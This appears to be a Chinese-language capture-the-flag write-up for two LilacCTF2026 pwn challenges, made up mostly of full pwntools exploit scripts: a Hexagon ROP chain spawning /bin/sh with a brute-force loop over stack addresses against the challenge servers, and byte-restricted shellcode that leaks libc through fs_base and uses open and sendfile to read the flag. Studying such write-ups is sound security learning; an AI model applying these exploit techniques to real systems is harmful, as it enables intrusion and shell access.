LilacCTF2026

gate-way

hexagon架构, 有栈溢出。给了两个gadget, trap0(#1)相当于syscall打execve(“/bin/sh”, 0, 0), 但是栈地址本地和远程不一致, 最后爆出来的。看官方wp说可以站迁移到确定的地址比较好。

本地调用的这个

from pwn import *

context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

# p = process(['qemu-hexagon', '-d', 'in_asm,exec,cpu,nochain', '-singlestep',
#             '-dfilter', '0x10000+0x173C4',
#             '-strace', '-D', './log', './pwn'])
# p = process(['./qemu-hexagon', './pwn'])
p = remote('1.95.188.222', 8888)

def register_service(content):
    p.sendlineafter(b'3. Exit.\n', b'1') # Enter Service Menu
    p.sendlineafter(b'3. Show Service.\n', b'1')
    p.sendlineafter(b'Example: \n', content)
    p.recvuntil(b'<<')

# qemu-hexagon -d in_asm,exec,cpu,nochain -singlestep -dfilter 0x10000+0x173C4 -strace -D ./log ./pwn

# ip:port| + "A" * (108 - len("ip:port|")) + <return_address>
# --------------------------------------------------------------------
# .text:0002191C                 { r17:16 = memd(sp + #0x18+var_8)
# .text:0002191E                   memw(r16) = r1 }
# .text:00021920                 { r19:18 = memd(sp + #0x18+var_10)
# .text:00021922                   r21:20 = memd(sp + #0x18+var_18) }
# .text:00021924                 { dealloc_return }
# --------------------------------------------------------------------
# .text:000214F4                 { r0 = r16 }
# .text:000214F8                 { r1 = r17 }
# .text:000214FC                 { r2 = r18 }
# .text:00021500                 { r6 = r19 }
# .text:00021504                 { trap0(#1) }
# .text:00021508                 { r0 = #0 }
# .text:0002150C                 { dealloc_return }

gadget1 = 0x2191C
syscall = 0x214F4

SYS_EXECVE = 221
buffer_addr = 0x4080fdd8
# buffer_addr = 0x4080df28
# buffer_addr = 0x40006128
binsh = buffer_addr + 13

payload = b'127.0.0.1:80|'
payload += b'/bin/sh\x00' + p32(syscall)
payload += b'baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaa'+p32(buffer_addr + 16 + 1)
payload += p32(gadget1)
payload += p32(0xdeadbeef)*2
# r18 r19
payload += p32(0) + p32(SYS_EXECVE)
# r16 r17
payload += p32(binsh) + p32(0)

register_service(payload)



p.interactive()

远程用这个爆的, 看了几个地址基本都是0x4080开头的, 最后也是爆出来了

from pwn import *

context(arch='amd64', os='linux', log_level='info')
context.terminal = ['tmux', 'splitw', '-h']

SYS_EXECVE = 221
gadget1 = 0x2191C
syscall = 0x214F4
# 1.95.71.133:8888
# 1.95.81.195:8888
# 1.95.188.222:8888
def attempt_addr(addr, host='1.95.71.133', port=8888):
    try:
        p = remote(host, port, timeout=1)
        # p = process(['./qemu-hexagon', './pwn'])
        log.info(f"Trying address: {hex(addr)}")
        binsh_addr = addr + 13
        payload = b'127.0.0.1:80|'
        payload += b'/bin/sh\x00' + p32(syscall)
        payload += b'baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaa'
        payload += p32(addr + 17)  # buffer_addr + 16 + 1
        payload += p32(gadget1)
        payload += p32(0xdeadbeef) + p32(0xdeadbeef)
        payload += p32(0) + p32(SYS_EXECVE)
        payload += p32(binsh_addr) + p32(0)

        p.sendlineafter(b'3. Exit.\n', b'1')
        p.sendlineafter(b'3. Show Service.\n', b'1')
        p.sendlineafter(b'Example: \n', payload)

        p.sendline(b'echo HACK')
        if p.recvuntil(b'HACK', timeout=1):
            log.success(f"Success with addr: {hex(addr)}")
            p.interactive()
            return True
    except KeyboardInterrupt:
        return True
    except:
        pass
    finally:
        if 'p' in locals():
            p.close()
    return False

def brute_force(start, end, step):
    for addr in range(start, end, step):
        if attempt_addr(addr):
            return
    log.failure(f"Failed in range {hex(start)} - {hex(end)}")

# 爆破范围 (根据本地地址 0x4080d628 调整)
brute_force(0x4080e000, 0x40810000, step=0x8)
# brute_force(0x4080df00, 0x40810000, step=0x8

bytezoo

syscall, 但是每个字节只能出现高位和地位中最小的数字次数, 比如\x56字节只能出现5次, \x05字节不能出现。shellcode的内存区域被去掉了写权限, 所以不能做自修改代码。送了一个syscall在mmap段最末尾, 想不出怎么call多次。但是发现fs_base能leaklibc, 而且给了libc文件, 所以直接call libc的open然后用送的一个syscall执行sendfile就刚好了。The intended solution was to use memmove and mprotect, moving the executable page all the way down to our stack page, mprotect stack to +x, then execute into it. fs_base was out of expection, and I’m sorry with the confusion and mistakes happening during releasing revenge challenge.官方解法还没看。


#!/usr/bin/env python3
# -*- coding: utf-8 -*
import re
import os
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
local = 0
ip = "1.95.148.179"
port = 8888
ELF_PATH="./pwn"
if local:
    p = process(ELF_PATH)
else:
    p = remote(ip,port)
elf = ELF(ELF_PATH)
libc = ELF("./lib/libc.so.6")

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x, drop=True)

def dbg():
    script = '''
brva 0x195d
    '''
    if local:
        gdb.attach(p,script)
    pause()

def lg(buf):
    log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')

open_offset = libc.sym['open']
read_offset = libc.sym['read']
write_offset = libc.sym['write']

lg('open_offset')
lg('read_offset')
lg('write_offset')


# [+] open_offset:0x114550


dbg()
shellcode = asm("""
    /* mov rdi, qword ptr fs:[0xb20] */
    sub sp, 0x77
    pop rbx
    mov bx, 0x3333
    sub bx, 0x2813
    mov rdi, qword ptr fs:[rbx]

    mov r15, rdi

    pop rbx
    mov ebx, 0x77883371
    /* lea ebx, [rbx + 0x8889116F] */
    lea ebx, [rbx + 0x888911df]

    lea r15, [rbx + rdi]
    pop rsi
    mov rcx, 0x67616c66
    push rcx
    push rsp
    pop rdi
    call r15


    /* sendfile(1, 3, 0, 0xff); rdi=1, rsi=3, rdx=0, r10=0xff, rax=40 */
    pop rdx
    pop rdx
    pop rsi
    pop rdi

    inc rdi
    xchg eax, esi

    push 0x28
    pop rax

    mov r10, r11












""")
p.sendafter(b'Show me your proof of work.\n', shellcode)
p.interactive()